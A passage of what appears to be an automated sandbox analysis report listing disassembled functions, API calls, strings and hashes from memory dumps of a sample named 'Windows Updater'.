GetFileVersionInfoW.VERSION(?,?,?,?,00000000,?,14058998), ref: 0057E459
VerQueryValueW.VERSION(?,0062D100,?,?,?,14058998), ref: 0057E471
GetLastError.KERNEL32(?,14058998), ref: 0057E49E
DeleteFileW.KERNEL32(?,?,14058998), ref: 0057E4B1

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: File$InfoPathTempVersionWow64$DeleteDisableErrorFolderLastNameQueryRedirectionSizeValue
String ID:
API String ID: 3336923870-0
Opcode ID: a18fc5ab7492da8e34f3263a36be7cf956123df71018d0852703da452b8e3ec9
Instruction ID: 534971588d363ab4a5a952375760f90c982bfcbceaec4ea67f82194567786db4
Opcode Fuzzy Hash: a18fc5ab7492da8e34f3263a36be7cf956123df71018d0852703da452b8e3ec9
Instruction Fuzzy Hash: 90315E71900209EBDF15CFA5D949BEEBFB9FF48720F1481AAE809A3241D7359904DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 005BE5C1 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(?,00631190,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005BE60D
lstrcmpiW.KERNEL32(?,00631198,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005BE624

Strings

6, xrefs: 005BE68E
amp, xrefs: 005BE633

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: lstrcmpi
String ID: 6$amp
API String ID: 1586166983-240142227
Opcode ID: 6a2021443e5c2ea0f25e664e72d0ca8ebc30c5aeb3dcc857200945e2f07dba03
Instruction ID: 00293178226ccd35beab27bec8150e8d5489034c05e9e80439fda56a6237f750
Opcode Fuzzy Hash: 6a2021443e5c2ea0f25e664e72d0ca8ebc30c5aeb3dcc857200945e2f07dba03
Instruction Fuzzy Hash: 3431AE30504289DBEB05CF68CC46AC97FF6BF51354F188259F9189B292D7B5EA01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0059A590 Relevance: 7.6, APIs: 5, Instructions: 55synchronizationnetworkCOMMON

Download Yara Rule

APIs

ResetEvent.KERNEL32(?,14058998,?,?,?,0060F1FD,000000FF), ref: 0059A5CF
InternetCloseHandle.WININET(00000000), ref: 0059A5DD
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,0060F1FD,000000FF), ref: 0059A5EF
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,0060F1FD,000000FF), ref: 0059A5FA
InternetCloseHandle.WININET(FFFFFFFF), ref: 0059A615

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: CloseHandleInternetObjectSingleWait$EventReset
String ID:
API String ID: 259955505-0
Opcode ID: 8cd30424f7e4daca4d246afa125968d0905dba33437aadc5cc9c061434f3f210
Instruction ID: 6a8b4aead64977b8770fac1b70cd9eeee70cef460b5e1fc90b65f026825734d1
Opcode Fuzzy Hash: 8cd30424f7e4daca4d246afa125968d0905dba33437aadc5cc9c061434f3f210
Instruction Fuzzy Hash: 30115EB1504A46FBDB118F19DC08B59FBB9FB05720F24832AE829926E0DB75A910CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0059A4A0 Relevance: 7.5, APIs: 5, Instructions: 48synchronizationnetworkCOMMON

Download Yara Rule

APIs

ResetEvent.KERNEL32(?,14058998,?,?,?,0060F1FD,000000FF), ref: 0059A4DF
InternetCloseHandle.WININET(00000000), ref: 0059A4ED
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,0060F1FD,000000FF), ref: 0059A4FF
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,0060F1FD,000000FF), ref: 0059A50A
InternetCloseHandle.WININET(FFFFFFFF), ref: 0059A525

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: CloseHandleInternetObjectSingleWait$EventReset
String ID:
API String ID: 259955505-0
Opcode ID: b52120a28a89bc1ff004ad98baa3801f19fbb0b461857d45d4872bb8efb20251
Instruction ID: 78e0344b3d5e4c51e1b588b36cd21b2d5651453509a6cd12aa63570403447514
Opcode Fuzzy Hash: b52120a28a89bc1ff004ad98baa3801f19fbb0b461857d45d4872bb8efb20251
Instruction Fuzzy Hash: 92112EB1504A06FFDB108F59ED08B55FBB9FB05720F20C72AE829936E0DB75A910CB90

Uniqueness

Uniqueness Score: -1.00%

Function 005CC2C0 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 380COMMON

Download Yara Rule

APIs

std::locale::_Init.LIBCPMT ref: 005CC589
std::locale::_Init.LIBCPMT ref: 005CC5CF

Strings

$c, xrefs: 005CC3BD
invalid unordered_map<K, T> key, xrefs: 005CC739

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: Initstd::locale::_
String ID: invalid unordered_map<K, T> key$$c
API String ID: 1620887387-892373098
Opcode ID: e3ac5cf8464340c704f102889195ec6bcedf7bc995f8dfeb5676f19a16ccda6b
Instruction ID: c244c0e048ee8d0a33776bbe56d25fa689a70c0d25d770743588a833df65a195
Opcode Fuzzy Hash: e3ac5cf8464340c704f102889195ec6bcedf7bc995f8dfeb5676f19a16ccda6b
Instruction Fuzzy Hash: 09E1CF72D012498FDF28DFA8D854BAEBFB1FF54714F24816DD41AAB281E7309944CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00596800 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 286COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00596A4F

Strings

hqY, xrefs: 00596AF0
ios_base::failbit set, xrefs: 00596ADF
hqY, xrefs: 00596AE2, 00596B80

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: ___std_exception_copy
String ID: hqY$hqY$ios_base::failbit set
API String ID: 2659868963-1401477908
Opcode ID: cf8beb5e781480f046d3dcd834f95810d4b700101260534e64614321f76166d7
Instruction ID: b3c300ecd6d35b216a7502b34e1cf8dc2a48a756fe619a168487549eea15c796
Opcode Fuzzy Hash: cf8beb5e781480f046d3dcd834f95810d4b700101260534e64614321f76166d7
Instruction Fuzzy Hash: 3EC15B71D00249DFDB14CFA8C495BAEBFB5FF49310F24822DE815AB281E7756A48CB91

Uniqueness

Uniqueness Score: -1.00%

Function 005AA480 Relevance: 6.3, APIs: 4, Instructions: 279threadsleepCOMMON

Download Yara Rule

APIs

GetExitCodeThread.KERNEL32(?,?,14058998,14058998), ref: 005AA4D3
Sleep.KERNEL32(00000064), ref: 005AA4EB
GetExitCodeThread.KERNEL32(?,00000103), ref: 005AA4F4
CloseHandle.KERNEL32(?), ref: 005AA50D

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: CodeExitThread$CloseHandleSleep
String ID:
API String ID: 652922189-0
Opcode ID: 8b017d50596285ad010431a62a954a113ec0589fa03c0ba1fccd586eeb9b14fb
Instruction ID: 56a7ec65403a04d3a145e662539ee1e3f87669e07ecc14e64fead51f9a74e898
Opcode Fuzzy Hash: 8b017d50596285ad010431a62a954a113ec0589fa03c0ba1fccd586eeb9b14fb
Instruction Fuzzy Hash: 26C11630A01A4ADFE701CF69C948B5ABBF5FF4A314F18C6A9D405DB261EB74DA04CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0058E100 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 204COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0058E152

Part of subcall function 00574250: GetProcessHeap.KERNEL32 ref: 005742A5

Part of subcall function 00597CF0: InitializeCriticalSection.KERNEL32(?,14058998,?), ref: 00597D2D
Part of subcall function 00597CF0: EnterCriticalSection.KERNEL32(?,14058998,?), ref: 00597D3A
Part of subcall function 00597CF0: GetCurrentProcessId.KERNEL32( [PID=,00000006,0062F794,00000002), ref: 00597DD8
Part of subcall function 00597CF0: GetCurrentThreadId.KERNEL32 ref: 00597DF7

GetLastError.KERNEL32 ref: 0058E237

Strings

OpenService failed error code: , xrefs: 0058E28A
Unable to open SCM error code: , xrefs: 0058E1A5

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: CriticalCurrentErrorLastProcessSection$EnterHeapInitializeThread
String ID: OpenService failed error code: $Unable to open SCM error code:
API String ID: 3417424740-3695868027
Opcode ID: 5dd195aad5149e4d3ac008678a21ed05be4da52dad69c836a3295cebfe7dffcf
Instruction ID: 74d4cf3a4d6c24a3e19d3cac5f01dd743fa8d9cd1ec7c8dd6a35b5249728d7c6
Opcode Fuzzy Hash: 5dd195aad5149e4d3ac008678a21ed05be4da52dad69c836a3295cebfe7dffcf
Instruction Fuzzy Hash: B5714E35500649DFDB11EF68C849B5EBFA5BF89310F148669F8159B292EB709E04CB90

Uniqueness

Uniqueness Score: -1.00%

Function 005BA750 Relevance: 6.2, APIs: 4, Instructions: 152windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00574250: GetProcessHeap.KERNEL32 ref: 005742A5

GetParent.USER32(?), ref: 005BA7BD
SendMessageW.USER32(00000000,00000478,00000000,?), ref: 005BA7CF
GetParent.USER32(?), ref: 005BA8BE
PostMessageW.USER32(00000000,00000471,00000005,00000000), ref: 005BA8CE

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: MessageParent$HeapPostProcessSend
String ID:
API String ID: 378946089-0
Opcode ID: b10b5db1eba980f565f3e56060584360c5b96b579bf0ca2a13afa4cd1d82ed30
Instruction ID: 10e0ccd391980091a8b8e0ff33cb3a34ebdc46a31693871a601b16e9beeea882
Opcode Fuzzy Hash: b10b5db1eba980f565f3e56060584360c5b96b579bf0ca2a13afa4cd1d82ed30
Instruction Fuzzy Hash: 43417B31600605AFDB00DF68DC89FA67BE5FF49710F0885A9F969CF2A2DB71A804CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0058A400 Relevance: 6.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

DeleteObject.GDI32(?), ref: 0058A436
GetStockObject.GDI32(0000000D), ref: 0058A449
GetObjectW.GDI32(00000000,0000005C,?), ref: 0058A472
CreateFontIndirectW.GDI32(?), ref: 0058A4A3

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: Object$CreateDeleteFontIndirectStock
String ID:
API String ID: 1113379131-0
Opcode ID: bfd05415f578ab53e23cebb175b0b6a8d02bd11d29c4aafde8abaa1a715d7127
Instruction ID: c38b30241afdb5582a76abdf29a0e3b4b978a93bc5b21364808b9d32df4ddd00
Opcode Fuzzy Hash: bfd05415f578ab53e23cebb175b0b6a8d02bd11d29c4aafde8abaa1a715d7127
Instruction Fuzzy Hash: BE21C471A007889FEB20DFA4DC49B9ABBF8FB08714F00462EE956D76D1D7B4A804CB10

Uniqueness

Uniqueness Score: -1.00%

Function 0059A550 Relevance: 6.0, APIs: 4, Instructions: 20synchronizationnetworkCOMMON

Download Yara Rule

APIs

ResetEvent.KERNEL32(?), ref: 0059A55C
InternetCloseHandle.WININET(?), ref: 0059A56A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0059A57C
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0059A587

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: ObjectSingleWait$CloseEventHandleInternetReset
String ID:
API String ID: 250782177-0
Opcode ID: 029eac9098573f3655e812111744153cf6359235ec2e94ef33a6f3fdb7db7708
Instruction ID: c09b34ba22d417a04ad2b5ea537ff139493b8f3e637b4680b20f08b28d8f99ad
Opcode Fuzzy Hash: 029eac9098573f3655e812111744153cf6359235ec2e94ef33a6f3fdb7db7708
Instruction Fuzzy Hash: 70E09271204902FBCB115F29EC0CB45FBA6BB45331F28D326A439926F4CB74E861CB90

Uniqueness

Uniqueness Score: -1.00%

Function 005EC05F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 005EC084

Strings

MOC, xrefs: 005EC096
RCC, xrefs: 005EC09E

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: b7787985a807dbc03532c654ba28527eb09ee1fb5b381ba638415e36f4c1973a
Instruction ID: fbb56603a04328b8c4e613f9be0e147ced1b37bfd63bf1bc7c9de45720400b40
Opcode Fuzzy Hash: b7787985a807dbc03532c654ba28527eb09ee1fb5b381ba638415e36f4c1973a
Instruction Fuzzy Hash: 08417972900249AFCF1ACF99CC85AEEBFB5BF48300F148199F944A7222D335D952DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00588310 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0058833B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0058839E

Strings

bad locale name, xrefs: 005883C1

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3988782225-1405518554
Opcode ID: f93c392964d25a205825926e35a328f33fc1d7226a3be2701830b1023b60db37
Instruction ID: 201da3de38f172c44895d43f063a98a4561338a07eab8061597c0e68a44cfdf7
Opcode Fuzzy Hash: f93c392964d25a205825926e35a328f33fc1d7226a3be2701830b1023b60db37
Instruction Fuzzy Hash: B831E171908B84EFD720CF68C804B4BBFE8EB19720F10465EE89597781D775A6048BA1

Uniqueness

Uniqueness Score: -1.00%

Function 005A4050 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 005A44C0: EnterCriticalSection.KERNEL32(0064E400,14058998,?), ref: 005A4536
Part of subcall function 005A44C0: GetClassInfoExW.USER32(00000000,D7FF2C76,?), ref: 005A4576
Part of subcall function 005A44C0: GetClassInfoExW.USER32(D7FF2C76,00000030), ref: 005A4589
Part of subcall function 005A44C0: LeaveCriticalSection.KERNEL32(0064E400), ref: 005A459B

CreateWindowExW.USER32(?,?,00000000,?,?,80000000,00000000,00000000,?,?,00000000,?), ref: 005A4125

Part of subcall function 005E6A70: GetProcessHeap.KERNEL32(00000008,00000008,?,005A40AA,?,005A3EE5,?,56200804,00000000), ref: 005E6A75
Part of subcall function 005E6A70: HeapAlloc.KERNEL32(00000000,?,56200804,00000000), ref: 005E6A7C

SetLastError.KERNEL32(0000000E,?,005A3EE5,?,56200804,00000000), ref: 005A40B3

Strings

RichEdit20W, xrefs: 005A4056

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: ClassCriticalHeapInfoSection$AllocCreateEnterErrorLastLeaveProcessWindow
String ID: RichEdit20W
API String ID: 1525484026-4173859555
Opcode ID: 4e35ea36446b84be1c1f315532757cb720ed80547fda4fc585b7fe0e47b0ef35
Instruction ID: 89a8c022f1570a9fe07a83bf80d2cf9a9f5f646b14a90959b3fe479d54b8dc83
Opcode Fuzzy Hash: 4e35ea36446b84be1c1f315532757cb720ed80547fda4fc585b7fe0e47b0ef35
Instruction Fuzzy Hash: 7C219C72604204AFE7109FA9DC48F6BBBEAFFD9764F04852AF944D7251D7B0DC009AA1

Uniqueness

Uniqueness Score: -1.00%

Function 005E62C6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualQuery.KERNEL32(80000000,005E620B,0000001C,005E6400,00000000,?,?,?,?,?,?,?,005E620B,00000004,0064D3F4,005E6490), ref: 005E62D7
GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,005E620B,00000004,0064D3F4,005E6490), ref: 005E62F2

Strings

D, xrefs: 005E62E6

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: InfoQuerySystemVirtual
String ID: D
API String ID: 401686933-2746444292
Opcode ID: 9a742d02967774e3ab3b84aea025c0fd6c386f06839e3f470f12346dc4273106
Instruction ID: a5c9274b9a642bd683034b148552ab801d33d4dc2229f4af467e06f8b9627b33
Opcode Fuzzy Hash: 9a742d02967774e3ab3b84aea025c0fd6c386f06839e3f470f12346dc4273106
Instruction Fuzzy Hash: E201F736A40149ABDB18DF6ACC05BED7FAAAFD43A4F0CC125ED59D7144DA38D9018680

Uniqueness

Uniqueness Score: -1.00%

Function 005E66EF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 0058AC10: InitializeCriticalSectionEx.KERNEL32(0064D410,00000000,00000000,14058998,00570000,00608E30,000000FF,?,005E671E,?,00571B56,80004005,14058998,?,?,0061D7FD), ref: 0058AC37
Part of subcall function 0058AC10: GetLastError.KERNEL32(?,005E671E,?,00571B56,80004005,14058998,?,?,0061D7FD,000000FF), ref: 0058AC41

IsDebuggerPresent.KERNEL32(?,00571B56,80004005,14058998,?,?,0061D7FD,000000FF), ref: 005E6722
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,00571B56,80004005,14058998,?,?,0061D7FD,000000FF), ref: 005E6731

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 005E672C

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: CriticalDebugDebuggerErrorInitializeLastOutputPresentSectionString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3511171328-631824599
Opcode ID: d24af946768b52c4ac3ff81792d617e710daf501ea44437bafe929bba5a2b68a
Instruction ID: a0a1fb824b7837d5ad8e51abfbb2cf9adcda1daaf8ae93c034d3be3d97fa8e2d
Opcode Fuzzy Hash: d24af946768b52c4ac3ff81792d617e710daf501ea44437bafe929bba5a2b68a
Instruction Fuzzy Hash: 7DE06D702003418FD324AF25E8483837FE5BF10394F04892EE8D5C2290E7F5D4848B91

Uniqueness

Uniqueness Score: -1.00%

Function 005E6058 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 005E6045

Part of subcall function 005E6480: DloadAcquireSectionWriteAccess.DELAYIMP ref: 005E648B
Part of subcall function 005E6480: DloadReleaseSectionWriteAccess.DELAYIMP ref: 005E64F3
Part of subcall function 005E6480: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 005E6504

Strings

3`^, xrefs: 005E603F
X`^, xrefs: 005E6058

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID: 3`^$X`^
API String ID: 697777088-803294836
Opcode ID: ce343e7a6481cb96b3716a0bb9a92b26684a2f6f37da57c26205a94c2378ab9f
Instruction ID: 84d65f915629933800ed482c59536d92302772b7f4fc3b49097f1a086150b5f7
Opcode Fuzzy Hash: ce343e7a6481cb96b3716a0bb9a92b26684a2f6f37da57c26205a94c2378ab9f
Instruction Fuzzy Hash: 8AB012823F90826C3B0D9E061D0EC370A5DE6D1FE2331851AF040C11C0D4400C001033

Uniqueness

Uniqueness Score: -1.00%

Function 005E604E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 005E6045

Part of subcall function 005E6480: DloadAcquireSectionWriteAccess.DELAYIMP ref: 005E648B
Part of subcall function 005E6480: DloadReleaseSectionWriteAccess.DELAYIMP ref: 005E64F3
Part of subcall function 005E6480: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 005E6504

Strings

3`^, xrefs: 005E603F
N`^, xrefs: 005E604E

Memory Dump Source

